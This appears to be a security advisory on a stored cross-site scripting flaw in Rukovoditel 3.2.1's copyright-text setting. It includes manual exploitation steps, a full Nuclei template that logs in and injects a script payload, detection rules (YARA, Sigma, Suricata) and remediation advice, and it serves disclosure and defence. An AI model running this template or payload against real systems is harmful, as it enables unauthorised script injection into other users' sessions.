CVE-2022-44952

Executive Summary

CVE-2022-44952 is a stored cross-site scripting (XSS) vulnerability in Rukovoditel v3.2.1, a web-based project management application. The flaw resides in the /index.php?module=configuration/application endpoint, specifically within the "Copyright Text" field. An authenticated attacker with administrative privileges can inject arbitrary JavaScript or HTML payloads, which are then stored and executed in the browsers of any user viewing the application's dashboard or pages that render the copyright text. This can lead to session hijacking, data theft, or application defacement. The vulnerability has a CVSS v3.1 score of 5.4 (Medium) and is publicly exploitable via a provided Nuclei template.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects the Rukovoditel PHP application directly, which is typically deployed as a standalone web application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs valid admin credentials.
• User Interaction (UI): Required (R) – Victim must view the affected page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires authentication, but the impact is significant due to the stored nature of the XSS, affecting all users who view the dashboard.

Deep Dive & Mechanics

The vulnerability exists in the application configuration module. The CFG[APP_COPYRIGHT_NAME] parameter is not properly sanitized before being stored and later rendered in the application's UI. An attacker with administrative access can craft a malicious payload (e.g., <script>alert(document.domain)</script>) and submit it via the configuration form. The application stores this payload in its database or configuration file without escaping or encoding. When any user (including other admins or regular users) visits a page that displays the copyright text (e.g., the dashboard), the payload executes in their browser context.

The attack flow:

1. Attacker logs in with admin credentials.
2. Attacker navigates to /index.php?module=configuration/application.
3. Attacker injects a malicious script into the "Copyright Text" field.
4. Attacker saves the configuration.
5. Victim visits any page that renders the copyright text.
6. The script executes, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Rukovoditel v3.2.1): The application likely outputs the copyright text directly without sanitization, e.g.:

echo $app_copyright_name;

Patched Code (Hypothetical): A secure version would escape the output using htmlspecialchars() or similar:

echo htmlspecialchars($app_copyright_name, ENT_QUOTES, 'UTF-8');

No official patch has been released by the vendor.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid admin credentials for Rukovoditel.
• Network access to the target application.

Steps:

1. Use the provided Nuclei template to automate exploitation. The template performs:

   • Login with provided credentials.
   • Extract CSRF token (form_session_token).
   • Inject XSS payload into the CFG[APP_COPYRIGHT_NAME] field.
   • Verify the payload is stored and executed on the dashboard.

2. Manual exploitation via browser:

   • Login as admin.
   • Go to Configuration > Application.
   • In the "Copyright Text" field, enter: <script>alert(document.domain)</script>.
   • Click "Save".
   • Navigate to the dashboard to trigger the XSS.

Nuclei Template (Full):

id: CVE-2022-44952

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in /index.php?module=configuration/application. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Copyright Text field after clicking "Add".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/9
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44952
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44952
    cwe-id: CWE-79
    epss-score: 0.01757
    epss-percentile: 0.82674
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,intrusive,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=configuration/save&redirect_to=configuration/application HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMh2HSjWbM7zJjWOA

        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="form_session_token"

        {{nonce}}
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_NAME]"

        Test
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_SHORT_NAME]"

        test
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="APP_LOGO"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_LOGO]"


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_LOGO_URL]"


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="APP_FAVICON"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_FAVICON]"


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_COPYRIGHT_NAME]"

        <script>alert(document.domain)</script>
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_LANGUAGE]"

        english.php
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_SKIN]"


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_TIMEZONE]"

        America/New_York
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_ROWS_PER_PAGE]"

        10
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_DATE_FORMAT]"

        m/d/Y
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_DATETIME_FORMAT]"

        m/d/Y H:i
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_NUMBER_FORMAT]"

        2/./*
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_FIRST_DAY_OF_WEEK]"

        0
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[DROP_DOWN_MENU_ON_HOVER]"

        0
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[DISABLE_CHECK_FOR_UPDATES]"

        0
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA--
      - |
        @timeout: 5s
        GET /index.php?module=dashboard/ HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - status_code_4 == 200
          - contains(content_type_4, "text/html")
          - contains(body_4, "<script>alert(document.domain)</script>")
          - contains(body_4, "rukovoditel")
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - id="form_session_token" value="(.*)" type="hidden"
        internal: true

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /index.php?module=configuration/save with suspicious payloads in the CFG[APP_COPYRIGHT_NAME] parameter.
• Look for unusual JavaScript code in the application's configuration logs.
• Use WAF rules to block common XSS patterns (e.g., <script>, onerror=, javascript:).

Defense:

• Implement input validation and output encoding for all user-supplied data.
• Apply Content Security Policy (CSP) headers to restrict script execution.
• Restrict admin access to trusted IPs and enforce strong authentication.
• Regularly audit configuration changes.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST request to /index.php?module=configuration/save with CFG[APP_COPYRIGHT_NAME] containing <script> tags.
  • Unusual JavaScript code in HTTP responses from the application.
• Host IOCs:
  • Modified configuration files containing JavaScript payloads.
  • Unexpected entries in application logs showing script injection.
• File IOCs:
  • Presence of <script> tags in the application's configuration database or files.

Detection Engineering

YARA Rule

rule CVE_2022_44952_Rukovoditel_XSS {
    meta:
        description = "Detects stored XSS payload in Rukovoditel configuration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-44952"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $copyright_field = "CFG[APP_COPYRIGHT_NAME]"
    condition:
        $copyright_field and $xss_payload
}

Sigma Rule

title: CVE-2022-44952 - Stored XSS in Rukovoditel Copyright Text
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of stored XSS in Rukovoditel v3.2.1
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/index.php?module=configuration/save*'
        cs-uri-query|contains: 'CFG[APP_COPYRIGHT_NAME]='
    keywords:
        - '<script'
        - 'javascript:'
        - 'onerror='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in copyright text (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-44952 - Rukovoditel Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/index.php?module=configuration/save"; http_uri; content:"CFG[APP_COPYRIGHT_NAME]"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.
2. Manual Fix: Edit the application code to sanitize the CFG[APP_COPYRIGHT_NAME] output using htmlspecialchars() or equivalent.
3. Access Control: Restrict admin access to trusted users and networks.
4. WAF Rules: Deploy web application firewall rules to block XSS payloads in the copyright field.

Long-Term Measures:

• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Conduct regular security audits and code reviews.
• Monitor for vendor updates and apply patches promptly.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: D5B13A42760C80954C924E83] */}